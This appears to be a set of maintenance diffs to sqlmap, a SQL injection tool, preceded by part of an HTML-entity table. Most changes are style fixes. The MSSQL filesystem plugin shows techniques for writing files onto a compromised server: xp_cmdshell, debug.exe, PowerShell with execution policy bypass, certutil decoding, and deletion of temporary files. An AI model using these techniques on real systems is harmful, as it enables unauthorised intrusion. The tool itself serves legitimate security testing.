"asymp": 8776,
"ne": 8800,
"equiv": 8801,
"le": 8804,
"ge": 8805,
"sub": 8834,
"sup": 8835,
"nsub": 8836,
"sube": 8838,
"supe": 8839,
"oplus": 8853,
"otimes": 8855,
"perp": 8869,
"sdot": 8901,
"lceil": 8968,
"rceil": 8969,
"lfloor": 8970,
"rfloor": 8971,
"lang": 9001,
"rang": 9002,
"loz": 9674,
"spades": 9824,
"clubs": 9827,
"hearts": 9829,
"diams": 9830,
}

View File

@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import time
from lib.core.common import getUnicode
from lib.core.common import dataToStdout
from lib.core.data import conf
@@ -17,13 +19,12 @@ class ProgressBar(object):
def __init__(self, minValue=0, maxValue=10, totalWidth=None):
self._progBar = "[]"
self._oldProgBar = ""
self._min = int(minValue)
self._max = int(maxValue)
self._span = max(self._max - self._min, 0.001)
self._width = totalWidth if totalWidth else conf.progressWidth
self._amount = 0
self._times = []
self._start = None
self.update()
def _convertSeconds(self, value):
@@ -52,7 +53,7 @@ class ProgressBar(object):
percentDone = min(100, int(percentDone))
# Figure out how many hash bars the percentage should be
allFull = self._width - len("100%% [] %s/%s ETA 00:00" % (self._max, self._max))
allFull = self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max))
numHashes = (percentDone / 100.0) * allFull
numHashes = int(round(numHashes))
@@ -62,26 +63,24 @@ class ProgressBar(object):
elif numHashes == allFull:
self._progBar = "[%s]" % ("=" * allFull)
else:
self._progBar = "[%s>%s]" % ("=" * (numHashes - 1),
" " * (allFull - numHashes))
self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes))
# Add the percentage at the beginning of the progress bar
percentString = getUnicode(percentDone) + "%"
self._progBar = "%s %s" % (percentString, self._progBar)
def progress(self, deltaTime, newAmount):
def progress(self, newAmount):
"""
This method saves item delta time and shows updated progress bar with calculated eta
"""
if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max:
if self._start is None or newAmount > self._max:
self._start = time.time()
eta = None
else:
midTime = sum(self._times) / len(self._times)
midTimeWithLatest = (midTime + deltaTime) / 2
eta = midTimeWithLatest * (self._max - newAmount)
delta = time.time() - self._start
eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta
self._times.append(deltaTime)
self.update(newAmount)
self.draw(eta)
@@ -90,15 +89,13 @@ class ProgressBar(object):
This method draws the progress bar if it has changed
"""
if self._progBar != self._oldProgBar:
self._oldProgBar = self._progBar
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" ETA %s" % self._convertSeconds(int(eta))) if eta is not None else ""))
if self._amount >= self._max:
if not conf.liveTest:
dataToStdout("\r%s\r" % (" " * self._width))
kb.prependFlag = False
else:
dataToStdout("\n")
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
if self._amount >= self._max:
if not conf.liveTest:
dataToStdout("\r%s\r" % (" " * self._width))
kb.prependFlag = False
else:
dataToStdout("\n")
def __str__(self):
"""

View File

@@ -20,6 +20,7 @@ from lib.core.common import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HTTP_HEADER
from lib.core.enums import REDIRECTION
@@ -35,7 +36,6 @@ from lib.core.settings import UNICODE_ENCODING
from lib.request.basic import decodePage
from thirdparty.socks import socks
def _search(dork):
"""
This method performs the effective search on Google providing
@@ -165,6 +165,7 @@ def _search(dork):
return retVal
@stackedmethod
def search(dork):
pushValue(kb.redirectChoice)
kb.redirectChoice = REDIRECTION.YES
@@ -187,5 +188,5 @@ def search(dork):
finally:
kb.redirectChoice = popValue()
def setHTTPHandlers(): # Cross-linked function
def setHTTPHandlers(): # Cross-referenced function
raise NotImplementedError

View File

@@ -46,7 +46,7 @@ class SQLAlchemy(GenericConnector):
try:
if not self.port and self.db:
if not os.path.exists(self.db):
raise SqlmapFilePathException, "the provided database file '%s' does not exist" % self.db
raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
_ = conf.direct.split("//", 1)
conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
@@ -54,7 +54,13 @@ class SQLAlchemy(GenericConnector):
if self.dialect:
conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1)
engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False} if self.dialect == "sqlite" else {})
if self.dialect == "sqlite":
engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False})
elif self.dialect == "oracle":
engine = _sqlalchemy.create_engine(conf.direct)
else:
engine = _sqlalchemy.create_engine(conf.direct, connect_args={})
self.connector = engine.connect()
except (TypeError, ValueError):
if "_get_server_version_info" in traceback.format_exc():

View File

@@ -10,9 +10,9 @@ import sys
PYVERSION = sys.version.split()[0]
if PYVERSION >= "3" or PYVERSION < "2.6":
exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
extensions = ("gzip", "ssl", "sqlite3", "zlib")
extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib")
try:
for _ in extensions:
__import__(_)
@@ -20,4 +20,4 @@ except ImportError:
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
errMsg += "most likely because current version of Python has been "
errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
exit(errMsg)
exit(errMsg)

View File

@@ -49,12 +49,10 @@ class xrange(object):
return hash(self._slice)
def __cmp__(self, other):
return (cmp(type(self), type(other)) or
cmp(self._slice, other._slice))
return (cmp(type(self), type(other)) or cmp(self._slice, other._slice))
def __repr__(self):
return '%s(%r, %r, %r)' % (type(self).__name__,
self.start, self.stop, self.step)
return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step)
def __len__(self):
return self._len()
@@ -69,7 +67,7 @@ class xrange(object):
if isinstance(index, slice):
start, stop, step = index.indices(self._len())
return xrange(self._index(start),
self._index(stop), step*self.step)
self._index(stop), step * self.step)
elif isinstance(index, (int, long)):
if index < 0:
fixed_index = index + self._len()

View File

@@ -48,11 +48,12 @@ class Fingerprint(GenericFingerprint):
# Microsoft Access table reference updated on 01/2010
sysTables = {
"97": ("MSysModules2", "MSysAccessObjects"),
"2000" : ("!MSysModules2", "MSysAccessObjects"),
"2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
"2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
}
"97": ("MSysModules2", "MSysAccessObjects"),
"2000": ("!MSysModules2", "MSysAccessObjects"),
"2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
"2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
}
# MSysAccessXML is not a reliable system table because it doesn't always exist
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
@@ -128,7 +129,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = kb.bannerFp.get("dbmsVersion")
if re.search(r"-log$", kb.data.banner):
banVer += ", logging enabled"

View File

@@ -19,9 +19,9 @@ from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
"""
Homepage: http://code.google.com/p/ibm-db/
User guide: http://code.google.com/p/ibm-db/wiki/README
API: http://www.python.org/dev/peps/pep-0249/
Homepage: https://github.com/ibmdb/python-ibmdb
User guide: https://github.com/ibmdb/python-ibmdb/wiki/README
API: https://www.python.org/dev/peps/pep-0249/
License: Apache License 2.0
"""
@@ -37,7 +37,6 @@ class Connector(GenericConnector):
except ibm_db_dbi.OperationalError, msg:
raise SqlmapConnectionException(msg)
self.initCursor()
self.printConnected()

View File

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.data import logger
from plugins.generic.enumeration import Enumeration as GenericEnumeration

View File

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
@@ -64,12 +63,12 @@ class Fingerprint(GenericFingerprint):
value += DBMS.DB2
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
@@ -127,12 +126,14 @@ class Fingerprint(GenericFingerprint):
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
if result:
versions = { "2003": ("5.2", (2, 1)),
versions = {
"2003": ("5.2", (2, 1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"7": ("6.1", (1, 0)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
"NT": ("4.0", (6, 5, 4, 3, 2, 1))
}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():

View File

@@ -39,8 +39,8 @@ class Connector(GenericConnector):
self.checkFileDb()
try:
self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \
user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") # Reference: http://www.daniweb.com/forums/thread248499.html
# Reference: http://www.daniweb.com/forums/thread248499.html
self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
except kinterbasdb.OperationalError, msg:
raise SqlmapConnectionException(msg[1])

View File

@@ -50,7 +50,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = kb.bannerFp.get("dbmsVersion")
if re.search(r"-log$", kb.data.banner):
banVer += ", logging enabled"
@@ -68,12 +68,12 @@ class Fingerprint(GenericFingerprint):
def _sysTablesCheck(self):
retVal = None
table = (
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
# TODO: add test for Firebird 2.5
)
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
# TODO: add test for Firebird 2.5
)
for i in xrange(len(table)):
version, checks = table[i]

View File

@@ -46,11 +46,8 @@ class Connector(GenericConnector):
try:
driver = 'org.hsqldb.jdbc.JDBCDriver'
connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
self.connector = jaydebeapi.connect(driver,
connection_string,
str(self.user),
str(self.password))
connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
except Exception, msg:
raise SqlmapConnectionException(msg[0])
@@ -70,7 +67,7 @@ class Connector(GenericConnector):
try:
self.cursor.execute(query)
retVal = True
except Exception, msg: #todo fix with specific error
except Exception, msg: # TODO: fix with specific error
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
self.connector.commit()

View File

@@ -47,7 +47,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
if re.search(r"-log$", kb.data.banner):
banVer += ", logging enabled"
@@ -125,9 +125,12 @@ class Fingerprint(GenericFingerprint):
return True
else:
warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
logger.warn(warnMsg)
dbgMsg = "...or version is < 1.7.2"
logger.debug(dbgMsg)
return False
def getHostname(self):

View File

@@ -19,9 +19,9 @@ from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
"""
Homepage: http://code.google.com/p/ibm-db/
User guide: http://code.google.com/p/ibm-db/wiki/README
API: http://www.python.org/dev/peps/pep-0249/
Homepage: https://github.com/ibmdb/python-ibmdb
User guide: https://github.com/ibmdb/python-ibmdb/wiki/README
API: https://www.python.org/dev/peps/pep-0249/
License: Apache License 2.0
"""
@@ -37,7 +37,6 @@ class Connector(GenericConnector):
except ibm_db_dbi.OperationalError, msg:
raise SqlmapConnectionException(msg)
self.initCursor()
self.printConnected()

View File

@@ -44,7 +44,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

View File

@@ -41,4 +41,4 @@ class Syntax(GenericSyntax):
for _ in excluded.items():
retVal = retVal.replace(_[1], _[0])
return retVal
return retVal

View File

@@ -108,7 +108,7 @@ class Enumeration(GenericEnumeration):
conf.db = self.getCurrentDb()
elif conf.db is not None:
if ',' in conf.db:
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
@@ -120,8 +120,8 @@ class Enumeration(GenericEnumeration):
else:
colList = []
if conf.excludeCol:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
@@ -184,9 +184,7 @@ class Enumeration(GenericEnumeration):
rootQuery = queries[DBMS.MAXDB].columns
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)

View File

@@ -15,7 +15,6 @@ from plugins.dbms.mssqlserver.syntax import Syntax
from plugins.dbms.mssqlserver.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Microsoft SQL Server methods

View File

@@ -21,9 +21,9 @@ from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
"""
Homepage: http://pymssql.sourceforge.net/
User guide: http://pymssql.sourceforge.net/examples_pymssql.php
API: http://pymssql.sourceforge.net/ref_pymssql.php
Homepage: http://www.pymssql.org/en/stable/
User guide: http://www.pymssql.org/en/stable/pymssql_examples.html
API: http://www.pymssql.org/en/stable/ref/pymssql.html
Debian package: python-pymssql
License: LGPL
@@ -43,6 +43,8 @@ class Connector(GenericConnector):
self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
raise SqlmapConnectionException(msg)
except ValueError:
raise SqlmapConnectionException
self.initCursor()
self.printConnected()

View File

@@ -14,6 +14,7 @@ from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeLogMessage
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf
@@ -94,8 +95,12 @@ class Enumeration(GenericEnumeration):
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
@@ -113,8 +118,12 @@ class Enumeration(GenericEnumeration):
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
infoMsg = "fetching number of tables for "
@@ -199,8 +208,12 @@ class Enumeration(GenericEnumeration):
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
@@ -271,8 +284,8 @@ class Enumeration(GenericEnumeration):
infoMsgDb = ""
colList = conf.col.split(',')
if conf.excludeCol:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
origTbl = conf.tbl
origDb = conf.db
@@ -318,8 +331,7 @@ class Enumeration(GenericEnumeration):
_ = conf.db.split(',')
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs:
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(msg)
infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
else:
infoMsgDb = " across all databases"
@@ -334,6 +346,9 @@ class Enumeration(GenericEnumeration):
if conf.excludeSysDbs and db in self.excludeDbsList:
continue
if conf.exclude and db in conf.exclude.split(','):
continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
@@ -353,16 +368,16 @@ class Enumeration(GenericEnumeration):
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == "1":
if colConsider == '1':
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None

View File

@@ -67,16 +67,19 @@ class Filesystem(GenericFilesystem):
chunkName = randomStr(lowercase=True)
fileScrLines = self._dataToScr(fileContent, chunkName)
logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr))
logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr))
self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)
logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr))
commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr)
complComm = " & ".join(command for command in commands)
commands = (
"cd \"%s\"" % tmpPath,
"debug < %s" % randScr,
"del /F /Q %s" % randScr
)
self.execCmd(complComm)
self.execCmd(" & ".join(command for command in commands))
return chunkName
@@ -171,10 +174,10 @@ class Filesystem(GenericFilesystem):
encodedFileContent = base64encode(wFileContent)
encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File)
encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)
randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
randPSScriptPath = "%s\%s" % (tmpPath, randPSScript)
randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)
wFileSize = len(encodedFileContent)
chunkMaxSize = 1024
@@ -195,12 +198,13 @@ class Filesystem(GenericFilesystem):
logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile)
commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
"del /F /Q \"%s\"" % encodedBase64FilePath,
"del /F /Q \"%s\"" % randPSScriptPath)
complComm = " & ".join(command for command in commands)
commands = (
"powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
"del /F /Q \"%s\"" % encodedBase64FilePath,
"del /F /Q \"%s\"" % randPSScriptPath
)
self.execCmd(complComm)
self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
infoMsg = "using debug.exe to write the %s " % fileType
@@ -208,21 +212,24 @@ class Filesystem(GenericFilesystem):
logger.info(infoMsg)
dFileName = ntpath.basename(dFile)
sFile = "%s\%s" % (tmpPath, dFileName)
sFile = "%s\\%s" % (tmpPath, dFileName)
wFileSize = os.path.getsize(wFile)
debugSize = 0xFF00
if wFileSize < debugSize:
chunkName = self._updateDestChunk(wFileContent, tmpPath)
debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType)
debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType)
debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, dFileName, dFile)
logger.debug(debugMsg)
commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
commands = (
"cd \"%s\"" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile)
)
self.execCmd(complComm)
self.execCmd(" & ".join(command for command in commands))
else:
debugMsg = "the file is larger than %d bytes. " % debugSize
debugMsg += "sqlmap will split it into chunks locally, upload "
@@ -241,20 +248,25 @@ class Filesystem(GenericFilesystem):
debugMsg = "appending chunk "
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
logger.debug(debugMsg)
commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName)
complComm = " & ".join(command for command in commands)
commands = (
"cd \"%s\"" % tmpPath,
copyCmd,
"del /F /Q %s" % chunkName
)
self.execCmd(complComm)
self.execCmd(" & ".join(command for command in commands))
logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile))
commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
commands = (
"cd \"%s\"" % tmpPath,
"move /Y %s %s" % (dFileName, dFile)
)
self.execCmd(complComm)
self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
infoMsg = "using a custom visual basic script to write the "
@@ -263,7 +275,7 @@ class Filesystem(GenericFilesystem):
randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile)
randFilePath = "%s\\%s" % (tmpPath, randFile)
vbs = """Dim inputFilePath, outputFilePath
inputFilePath = "%s"
@@ -326,16 +338,18 @@ class Filesystem(GenericFilesystem):
self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs))
logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs))
self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs,
"del /F /Q %s" % randVbs,
"del /F /Q %s" % randFile)
complComm = " & ".join(command for command in commands)
commands = (
"cd \"%s\"" % tmpPath,
"cscript //nologo %s" % randVbs,
"del /F /Q %s" % randVbs,
"del /F /Q %s" % randFile
)
self.execCmd(complComm)
self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
infoMsg = "using certutil.exe to write the %s " % fileType
@@ -345,11 +359,11 @@ class Filesystem(GenericFilesystem):
chunkMaxSize = 500
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile)
randFilePath = "%s\\%s" % (tmpPath, randFile)
encodedFileContent = base64encode(wFileContent)
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
@@ -357,11 +371,13 @@ class Filesystem(GenericFilesystem):
logger.debug("decoding the file to %s.." % dFile)
commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile),
"del /F /Q %s" % randFile)
complComm = " & ".join(command for command in commands)
commands = (
"cd \"%s\"" % tmpPath,
"certutil -f -decode %s %s" % (randFile, dFile),
"del /F /Q %s" % randFile
)
self.execCmd(complComm)
self.execCmd(" & ".join(command for command in commands))
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
# NOTE: this is needed here because we use xp_cmdshell extended

View File

@@ -46,9 +46,9 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
release = kb.bannerFp.get("dbmsRelease")
version = kb.bannerFp.get("dbmsVersion")
servicepack = kb.bannerFp.get("dbmsServicePack")
if release and version and servicepack:
banVer = "%s %s " % (DBMS.MSSQL, release)
@@ -88,12 +88,14 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming %s" % DBMS.MSSQL
logger.info(infoMsg)
for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
("2005", "XACT_STATE()=XACT_STATE()"), \
("2008", "SYSDATETIME()=SYSDATETIME()"), \
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \
("2014", "CHARINDEX('12.0.2000',@@version)>0"), \
("2016", "ISJSON(NULL) IS NULL")):
for version, check in (
("2000", "HOST_NAME()=HOST_NAME()"),
("2005", "XACT_STATE()=XACT_STATE()"),
("2008", "SYSDATETIME()=SYSDATETIME()"),
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
("2014", "CHARINDEX('12.0.2000',@@version)>0"),
("2016", "ISJSON(NULL) IS NULL")
):
result = inject.checkBooleanExpression(check)
if result:
@@ -134,16 +136,18 @@ class Fingerprint(GenericFingerprint):
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
# Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
# http://en.wikipedia.org/wiki/Windows_NT#Releases
versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (3, 2, 1)),
"2003": ("5.2", (2, 1)),
"Vista or 2008": ("6.0", (2, 1)),
"7 or 2008 R2": ("6.1", (1, 0)),
"8 or 2012": ("6.2", (0,)),
